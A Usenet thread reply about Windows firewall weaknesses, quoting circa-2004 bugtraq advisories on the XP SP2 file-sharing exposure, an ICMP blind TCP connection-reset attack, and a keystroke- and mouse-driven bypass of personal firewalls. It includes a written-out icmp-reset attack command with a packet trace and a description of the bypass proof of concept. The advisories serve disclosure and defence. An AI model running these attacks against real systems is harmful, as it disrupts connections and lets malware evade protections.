Volker Birk wrote:
> E. <bellyup@the.bar> wrote:
>
>>I have encountered, in the wild, a worm which went straight through
>>(from outside) windows firewall and infected machines. I do not recall
>>the name of the virus. The vulnerability that allowed this has since
>>been patched.
>
>
> Would be very interesting to know, what you're talking about. Could you
> find any proofs for it?
I can't remember the name of it. It was just yet another worm to me, so
it barely registered on the brainmap. 2 other techs I work with got
called out to jobs with the same infection over the remaindr of the week.
>
>
>>So it has been done, and will probably be done again.
>
>
> Please understand, that I will believe this after I saw the proof.
Symantec (NAV) eventually detected it, so it should be locateable on
their website, or on the securityfocus.com website.
> But if one is using Windows, then she/he is trusting in Microsoft. If one
> is not trusting in Microsoft, he/she just should not use Microsoft's
> products.
Don't trust anyone or anything, and suspect everything, until proven not
guilty.
The point Leythos and others have been trying to make, which has been
lost in the noise, is about having layers, layers and more layers of
security.
No single, double, triple or quadruple exploit should ever be able to
penetrate anything if you have proper layers in place.
> But until I see a proof here, I will not believe that. Sorry.
If I could recall the exact details, i'd post them.
> I know of a bug in Windows' IP stack, detected in June this year. It was
> patched. Windows even was vulnerable to the "good old" LAND attack again.
> Shame on Microsoft. But this has nothing to do with the Windows-Firewall,
> and if it was used, a Windows box was not vulnerable in this way.
>
> Yours,
> VB.
If you really want more reading, I would recommend subscribing to the
bugtraq mailing lists @ securityfocus.com
(rant) what really pisses me off is when a client asks for your advice
(and pays for it), then takes the advice of the son-of-a-neighbour who
knows everything because he works in retail PC shop over yours. Advice
like "you don't actually need encryption on WLAN's, just changing the
SSID to something non-standard will protect you" (and then broadcasting
it and handing out IP's to everyone within range, i might add) makes me
want to start cutting the stupid gene out of peiople with a blunt nail
file.
Sitting out front in the driveway and sniffing his email
username/password and handing it to him convinced him that
son-of-neighbour was a loon that shouldn't be allowed to touch a
computer again, ever.
(/rant)
E.
From bugtraq archives....
Hello, this might be interesting for you (see below): Please note that
all screenshots and more details can be found in the German article
only (see links), the English one is slightly shortened. cheers,
Andreas Marx PC-WELT discovers and fixes serious security issue in
Windows XP SP2 by Andreas Kroschel and Thorsten Eggeling; Sep 15, 2004
English version: <http://www.pcwelt.de/know-how/extras/103039/> German
version: <http://www.pcwelt.de/news/sicherheit/103013/> Windows XP
Service Pack 2 with Advanced Security Technologies helps you protect
your PC against viruses, hackers, and worms." - this is how Microsoft
promotes its Service Pack 2 on its website. What the company does not
say: Instead of viruses, worms, and hackers, the supposedly safe SP2
for Windows XP invites any Internet user to have a look around your PC.
As soon as you install SP2 on a Windows XP PC with a certain
configuration, your file and printer sharing data are visible
worldwide, despite an activated Firewall. This also applies to all
other services. The PC only has to provide sharing for an internal
local network and connect to the Internet via dial-up or ISDN. Users of
DSL services are also affected, if a firewall is not integrated into
the DSL modem or a common modem instead of a DSL router is used.
Additionally, Internet Connection Sharing of the PC has to be disabled.
A number of test scans run by PC-Welt revealed that this in fact is a
common configuration and not a rare sight. Without great effort, we
were able to discover private documents on easily accessible computers
on the Internet. It must be assumed, that these users wrongly believe
they are safe and that their sharing configurations are only visible in
their network at home: Often, we did not even encounter password
protection. Already Windows 95 affected by a similar problem
Experienced Windows users may remember that there was a similar problem
in the past, specifically with Windows 95. Back then, Microsoft forgot
to separate file and printer sharing from the dial-up network adapter
when such a connection was configured. In other words, this caused the
service to be released worldwide through the dial-up connection as soon
as you were connected to the Internet. Microsoft at that time issued an
update to patch the bug. The fact that file and printer sharing since
then is not connected to the dial-up connection anymore, can easily be
seen on your system: Right-click on the symbol "My Network Places" and
select "Properties". Repeat the right-click and selection with the icon
of your dial-up connection and select the tab "Settings". If there is
no check at "File and Printer Sharing", it indicates that this service
should not be made available through your dial-up connection. This in
fact is true for Windows XP without Service Pack. Since SP1, this
configuration is hardly more than cosmetics and does not serve any
purpose anymore. This means, the file and printer sharing service is
connected in general, also to the dial-up network adapter. This in
itself is a serious bug, since your shared data potentially could be
seen on the Internet. However, there are no catastrophic effects, as
every dial-up connection is configured with an activated firewall by
default. If you intended to deactivate this firewall, Windows displayed
an easily recognizable dialog, that this choice would allow access to
your computer. Despite the bug in SP1, the configuration of the
firewall was worked out in a clean way: You were able to run the
dial-up connection with a firewall and the internal network card
without, because the latter was supposed to enable access through the
Windows network. SP1 + SP2 leads to a catastrophic error Due to the
bug carried over from SP1 as well as a new bug, the firewall
configuration with SP2 has a catastrophic effect. The SP2 installation
simply uses the previous configuration of the firewall: If it was active
for the dial-up connection, now it also has been activated for the
network adapter. At the same time, an exception is determined for file
and printer sharing: For the internal network card - and astonishingly
also for all adapters. With the first use of the dial-up connection
after installing SP2, all of your shared data are available on the
Internet. Now, other users can start guessing your passwords for
administrator and guest and you basically are no more secure than the
first Windows 95 users with an Internet connection - thanks to Service
Pack 2. How to correct the problem It is not advisable to keep this
defective default configuration. However, the previous environment
cannot be restored: The configuration for the firewall was changed,
which does not allow the setting of active or inactive conditions or
exceptions for each network adapter anymore. Now this only works for
network areas. Choose "Windows Firewall" in the in the Windows Control
Panel and the there the tab "Exceptions". Select "File and Print
Services" and click on "Edit". Now you can see four ports which are
used by the file and print sharing service. To lock the service to the
outside and keep it open for the internal LAN, you have to individually
select and change its area with the respective button. Our reader Yves
Jerschov notified us of another bug: The value for the area set by
default "Only for own network (Subnet)" only works, if the Internet
Connection Sharing is activated. If this is not the case, your shared
data are visible worldwide. This error can be corrected by choosing
"User defined List" and entering the IP addresses that are supposed to
have access - the IP addresses of your LAN. A whole range of an IP area
can be entered as "192.168.x.0/255.255.255.0", if the respective
addresses start with 192.168.x. After these measures, you can be sure
to be as safe as you were with SP1. Great, don't you think? -- AV-Test
GmbH, Klewitzstr. 7, 39112 Magdeburg, Germany Phone: +49 (0)391 6075466,
<http://www.av-test.org>
Oh, and here's one about ICMP...
Folks,
Here's the packet trace and the explanation of an ICMP-based blind
connection-reset attack.
In our sample scenario, a web-client (10.0.0.1, TCP port 3270) is
downloading a file from a web-server (192.168.0.1, TCP port 80). If the
TCP/IP implementations of both end-points are vulnerable,you can attack
any of them, to cause the TCP connection to be aborted.
Let's suppose we have OS-fingerprinted the client, and know it runs
Windows. As stated in one of my other other e-mails, Windows chooses the
port numbers for its outgoing connections from the range 1024-4999.
So we could run our tool icmp-reset
(
http://www.gont.com.ar/tools/icmp-attacks) as-follows:
# icmp-reset -c 10.0.0.1:1024-4999 -s 192.168.0.1:80 -t client -r 128
This simple command would reset the connection. The tool just needs to send
3976 packets. With a 128kbps link (more than usual nowadays), we would
need about 12 (twelve) seconds to reset the connection (and I'm
considering the worst case, that is, that the port number in use by the
client is 4999, so it would be our last try that would reset the
connection).
Here's the packet trace:
22:20:56.921433 192.168.0.1.80 > 10.0.0.1.3270: . 58849:60269(1420) ack
203 win 17040 (DF) (ttl 63, id 36261)
22:20:57.400206 10.0.0.1.3270 > 192.168.0.1.80: . [tcp sum ok]
203:203(0) ack 51749 win 9940 (DF) (ttl 118, id 23142)
22:20:57.403911 192.168.0.1.80 > 10.0.0.1.3270: . 60269:61689(1420) ack
203 win 17040 (DF) (ttl 63, id 63275)
22:20:57.690641 10.0.0.1.3270 > 192.168.0.1.80: . [tcp sum ok]
203:203(0) ack 53169 win 9940 (DF) (ttl 118, id 23143)
22:20:57.694341 192.168.0.1.80 > 10.0.0.1.3270: . 61689:63109(1420) ack
203 win 17040 (DF) (ttl 63, id 36878)
22:20:58.077059 10.0.0.1.3270 > 192.168.0.1.80: . [tcp sum ok]
203:203(0) ack 54589 win 9940 (DF) (ttl 118, id 23144)
22:20:58.080702 192.168.0.1.80 > 10.0.0.1.3270: . 63109:64529(1420) ack
203 win 17040 (DF) (ttl 63, id 55051)
22:20:58.372458 10.0.0.1.3270 > 192.168.0.1.80: . [tcp sum ok]
203:203(0) ack 56009 win 9940 (DF) (ttl 118, id 23146)
22:20:58.376206 192.168.0.1.80 > 10.0.0.1.3270: . 64529:65949(1420) ack
203 win 17040 (DF) (ttl 63, id 51041)
22:20:58.662963 10.0.0.1.3270 > 192.168.0.1.80: . [tcp sum ok]
203:203(0) ack 57429 win 9940 (DF) (ttl 118, id 23147)
22:20:58.666648 192.168.0.1.80 > 10.0.0.1.3270: . 65949:67369(1420) ack
203 win 17040 (DF) (ttl 63, id 59428)
22:20:58.954124 10.0.0.1.3270 > 192.168.0.1.80: . [tcp sum ok]
203:203(0) ack 58849 win 9940 (DF) (ttl 118, id 23148)
22:20:58.957766 192.168.0.1.80 > 10.0.0.1.3270: . 67369:68789(1420) ack
203 win 17040 (DF) (ttl 63, id 56440)
22:20:59.161094 10.0.0.1.3270 > 192.168.0.1.80: . [tcp sum ok]
203:203(0) ack 60269 win 9940 (DF) (ttl 118, id 23152)
22:20:59.164797 192.168.0.1.80 > 10.0.0.1.3270: . 68789:70209(1420) ack
203 win 17040 (DF) (ttl 63, id 53543)
22:20:59.356094 10.0.0.1.3270 > 192.168.0.1.80: . [tcp sum ok]
203:203(0) ack 61689 win 9940 (DF) (ttl 118, id 23153)
22:20:59.359768 192.168.0.1.80 > 10.0.0.1.3270: . 70209:71629(1420) ack
203 win 17040 (DF) (ttl 63, id 56257)
22:20:59.455306 10.0.0.1.3270 > 192.168.0.1.80: . [tcp sum ok]
203:203(0) ack 63109 win 9940 (DF) (ttl 118, id 23154)
22:20:59.458961 192.168.0.1.80 > 10.0.0.1.3270: . 71629:73049(1420) ack
203 win 17040 (DF) (ttl 63, id 43027)
22:20:59.941338 10.0.0.1.3270 > 192.168.0.1.80: . [tcp sum ok]
203:203(0) ack 64529 win 9940 (DF) (ttl 118, id 23156)
22:20:59.945036 192.168.0.1.80 > 10.0.0.1.3270: . 73049:74469(1420) ack
203 win 17040 (DF) (ttl 63, id 34869) 22:21:00.142370 10.0.0.1.3270 >
192.168.0.1.80: . [tcp sum ok] 203:203(0) ack 65949 win 9940 (DF) (ttl
118, id 23158)
22:21:00.146012 192.168.0.1.80 > 10.0.0.1.3270: . 74469:75889(1420) ack
203 win 17040 (DF) (ttl 63, id 42831)
22:21:00.433104 10.0.0.1.3270 > 192.168.0.1.80: . [tcp sum ok]
203:203(0) ack 67369 win 9940 (DF) (ttl 118, id 23159)
22:21:00.436766 192.168.0.1.80 > 10.0.0.1.3270: . 75889:77309(1420) ack
203 win 17040 (DF) (ttl 63, id 38361)
22:21:00.823041 10.0.0.1.3270 > 192.168.0.1.80: . [tcp sum ok]
203:203(0) ack 68789 win 9940 (DF) (ttl 118, id 23162)
22:21:00.826725 192.168.0.1.80 > 10.0.0.1.3270: . 77309:78729(1420) ack
203 win 17040 (DF) (ttl 63, id 47968)
22:21:00.928689 10.0.0.1.3270 > 192.168.0.1.80: . [tcp sum ok]
203:203(0) ack 70209 win 9940 (DF) (ttl 118, id 23164)
22:21:00.932333 192.168.0.1.80 > 10.0.0.1.3270: . 78729:80149(1420) ack
203 win 17040 (DF) (ttl 63, id 56881)
22:21:01.321744 10.0.0.1.3270 > 192.168.0.1.80: . [tcp sum ok]
203:203(0) ack 71629 win 9940 (DF) (ttl 118, id 23165) 22:21:01.325420
192.168.0.1.80 > 10.0.0.1.3270: . 80149:81569(1420) ack 203 win 17040
(DF) (ttl 63, id 50563)
22:21:01.804138 10.0.0.1.3270 > 192.168.0.1.80: . [tcp sum ok]
203:203(0) ack 74469 win 9940 (DF) (ttl 118, id 23167)
22:21:01.807833 192.168.0.1.80 > 10.0.0.1.3270: . 81569:82989(1420) ack
203 win 17040 (DF) (ttl 63, id 39445)
22:21:01.809033 192.168.0.1.80 > 10.0.0.1.3270: . 82989:84409(1420) ack
203 win 17040 (DF) (ttl 63, id 61324)
22:21:01.908884 192.168.0.1 > 10.0.0.1: icmp: 192.168.0.1 protocol 6
unreachable for 10.0.0.1.3270 > 192.168.0.1.80: [|tcp] (ttl 158, id
61654) (ttl 214, id 31456)
22:21:02.005231 10.0.0.1.3270 > 192.168.0.1.80: . [tcp sum ok]
203:203(0) ack 75889 win 9940 (DF) (ttl 118, id 23169)
22:21:02.008909 192.168.0.1.80 > 10.0.0.1.3270: . 84409:85829(1420) ack
203 win 17040 (DF) (ttl 63, id 46016)
22:21:02.487527 10.0.0.1.3270 > 192.168.0.1.80: . [tcp sum ok]
203:203(0) ack 78729 win 9940 (DF) (ttl 118, id 23171)
22:21:02.491159 192.168.0.1.80 > 10.0.0.1.3270: . 85829:87249(1420) ack
203 win 17040 (DF) (ttl 63, id 64644) 22:21:02.492360 192.168.0.1.80 >
10.0.0.1.3270: . 87249:88669(1420) ack 203 win 17040 (DF) (ttl 63, id 39376)
22:21:02.785749 10.0.0.1.3270 > 192.168.0.1.80: . [tcp sum ok]
203:203(0) ack 80149 win 9940 (DF) (ttl 118, id 23173)
22:21:02.789412 192.168.0.1.80 > 10.0.0.1.3270: . 88669:90089(1420) ack
203 win 17040 (DF) (ttl 63, id 58117)
22:21:02.980601 10.0.0.1.3270 > 192.168.0.1.80: . [tcp sum ok]
203:203(0) ack 81569 win 9940 (DF) (ttl 118, id 23175)
22:21:02.984257 192.168.0.1.80 > 10.0.0.1.3270: . 90089:91509(1420) ack
203 win 17040 (DF) (ttl 63, id 62887)
22:21:03.175183 10.0.0.1.3270 > 192.168.0.1.80: . [tcp sum ok]
203:203(0) ack 82989 win 9940 (DF) (ttl 118, id 23176)
22:21:03.178854 192.168.0.1.80 > 10.0.0.1.3270: . 91509:92929(1420) ack
203 win 17040 (DF) (ttl 63, id 54586)
22:21:03.374078 10.0.0.1.3270 > 192.168.0.1.80: . [tcp sum ok]
203:203(0) ack 84409 win 9940 (DF) (ttl 118, id 23177)
22:21:03.377773 192.168.0.1.80 > 10.0.0.1.3270: . 92929:94349(1420) ack
203 win 17040 (DF) (ttl 63, id 56692)
22:21:03.380717 10.0.0.1.3270 > 192.168.0.1.80: R [tcp sum ok]
4174694923:4174694923(0) win 0 (ttl 118, id 23180)
The packet trace was obtained at some firewall close to the web server
and the attacker. That's why after the ICMP error message you still find
a few data segments and a few ACKs. From the point of view of the
attacked host (i.e., the web-client), as soon as it receives the ICMP
error, it aborts the connection, and sends a RST to the web-server.
After trying all the ports in the range 1024-4999, icmp-reset will start
again trying from port 1024. The idea is that the attacker will want to
reset the connection again and again. Thus, if the client restarts the
connection just after we reset it, every 12 seconds (or so) we will be
resetting the connection again and again. This may not make cause much
harm for a web-client downloading a file. But think about a blind
connnction-reset being performed against a BGP router, a mailserver, or
whatever.
Did we sniff the network? - NO! All these attacks are *blind*. That's
why they are so *trivial*.
You see it? Just 12 seconds to send the 3976 packets that this blind
connection-reset attack that can reset an arbitrary TCP connection
between any two systems of the Internet. And we are just attacking from
one host, with just a 128kbps communications link.
The attacks and the counter-measures are described at
http://www.gont.com.ar/drafts/icmp-a...ainst-tcp.html
You can get your vendor fix it, or have someone start a discussion about
this being "old news". A few "vendors" have done the former. Most have
done the latter, unfortunately.
Let's see if everybody understands the point: There are lots of systems
still vulnerable to these ICMP attacks. And lots of people arguing
*against* implementing counter-measures for them. And vendors claiming
that these attacks are hard to perform, etc.
These attacks are still current. And probably your vendor will not do
anything about it. So realize how simple they are to perform, and make
your vendor understand it and fix them, and get involved to have the
IETF specs address these issues.
Kindest regards,
--
Fernando Gont
e-mail:
fernando@gont.com.ar ||
fgont@acm.org
....and more on personal firewalls...
-------------------------------------------------------------------
Multiple Firewall Products Bypass Vulnerability
-------------------------------------------------------------------
Online URL :
http://ferruh.mavituna.com/article/?769
Download POC :
http://ferruh.mavituna.com/opensourc...wallbypass.zip
(Also I attached vbs files as txt, one of them is -mousecontrol.txt-
vb.net source code)
This is a generic problem of common Personal Firewall products which are
accept shortcuts or provide an interface that enables to click without
require a password for controlled actions (acting as server -listening
ports-, executing another program, connecting to another computer etc.).
-------------------------------------------------------------------
Problem;
-------------------------------------------------------------------
Most of personal firewalls allow shortcuts or interface for controlling
traffic. It's simple to bypass these firewalls by a multithreaded
program and sending keys or by contolling mouse.
This flaw enables that any Trojan or similar programs can easily bypass
firewall and act as a server or access to another computer. Also most of
these firewalls have a "remember" option so if you bypass firewall and
successfully exploit it, firewall will never ask again.
This is a similar threat with shattering attacks, but different method
and impact.
Vulnerable Products (Sending Key Method and Mouse Control); These
products are vulnerable to both of "Sending Key Method" and "Mouse
Control Method"
Test Platforms;
Fully Patched Windows XP Professional and Windows 2003 Enterprise
Edition (May 19, 2004 - 01.01.2005)
1. ZoneAlarm / ZoneAlarm Pro (
www.zonelabs.com) | Fixed
I. 4.5.530.000 - Tested
II. 4.5.538.001 - Tested
III. 5 and newer versions are not vulnerable...
2. Kerio (
www.kerio.com)
I. 4.0.14 - Tested
II. All Versions
3. Agnitium Outpost Firewall (
www.agnitium.com)
I. 2.1.303.4009 (314) - Tested
II. 2.5.369.4608 (369) - Tested
II. All Versions
4. Kaspersky Anti-Hacker (
www.kaspersky.com)
I. 1.5.119.0 - Tested
II. All Versions
5. Look 'n' Stop (
www.looknstop.com)
I. 2.04p2 - Tested
II. All Versions
6. Symantec's Norton Personal Firewall (
www.norton.com)
I. 2004 - Tested
II. All Versions
-------------------------------------------------------------------
Vulnerable Products (Mouse Control);
-------------------------------------------------------------------
These products are only vulnerable to "Mouse Control Method", because
they don't accept shortcuts but still vulnerable to "Mouse Control" attacks.
1. Panda Platinum Internet Security
I. 8.03 (tested)
II. All Versions
2. Omniquad Personal Firewall
I. 1.1 (tested)
II. All Versions
-------------------------------------------------------------------
Proof of Concept;
-------------------------------------------------------------------
2 Proof of Concepts attached to advisory (also some other POCs for some
firewalls)
First POC (bypassSendKey.vbs) written in VBScript (.vbs), This POC
include required samples for ZoneAlarm, Kerio, Agnitium, Kaspersky
Anti-Hacker, Look 'n' Stop and Symantec's Norton Personal Firewall. This
script is executing an instance of itself for multithreading and send
shortcuts to firewall while first instance trying to connect internet. I
didn't write an auto determine firewall function (but it's so easy), so
you need to set it by yourself.
Second (bypassMouseControl.txt) simulates an example of bypassing Zone
Alarm Firewall by with mouse control, code in VB.NET. Program is not
using a real multithread because some firewalls interrupt executing of
program directly.
So program is executing another instance of itself with an argument.
Both of them add themselves to secure app list of firewalls and then
bypass active firewall.
Also I attached testFirewall.vbs for testing your firewall for
application control.
-------------------------------------------------------------------
Solution;
-------------------------------------------------------------------
All firewalls should ask password for all kind of "Allow" actions. In
fact passwords can be fooled because of its nature but it is the best
user friendly / secure solution for protection.
As a user of these firewalls, if your firewall supports to "deny all
default" option, enable it, so your firewall deny all connections by
default. After that you may can manually select programs for allow them.
-------------------------------------------------------------------
Final Words;
-------------------------------------------------------------------
This is a methodology for bypassing interacted firewalls so it's
possible that this advisory affects other firewalls in market. Also it's
possible that future firewalls will be affected too. I think for now
this is a serious problem for firewalls, until they imply
password/random human need text method for "Allow/Deny" actions.
-------------------------------------------------------------------
History;
-------------------------------------------------------------------
Discovered: 03.05.2004
Vendors Informed: 28.08.2004
Published: 03.01.2005
-------------------------------------------------------------------
Vendors Status;
-------------------------------------------------------------------
Special thanks to ZoneLabs Team.
Ferruh Mavituna
http://ferruh.mavituna.com
pgpkey :
http://ferruh.mavituna.com/PGPKey.asc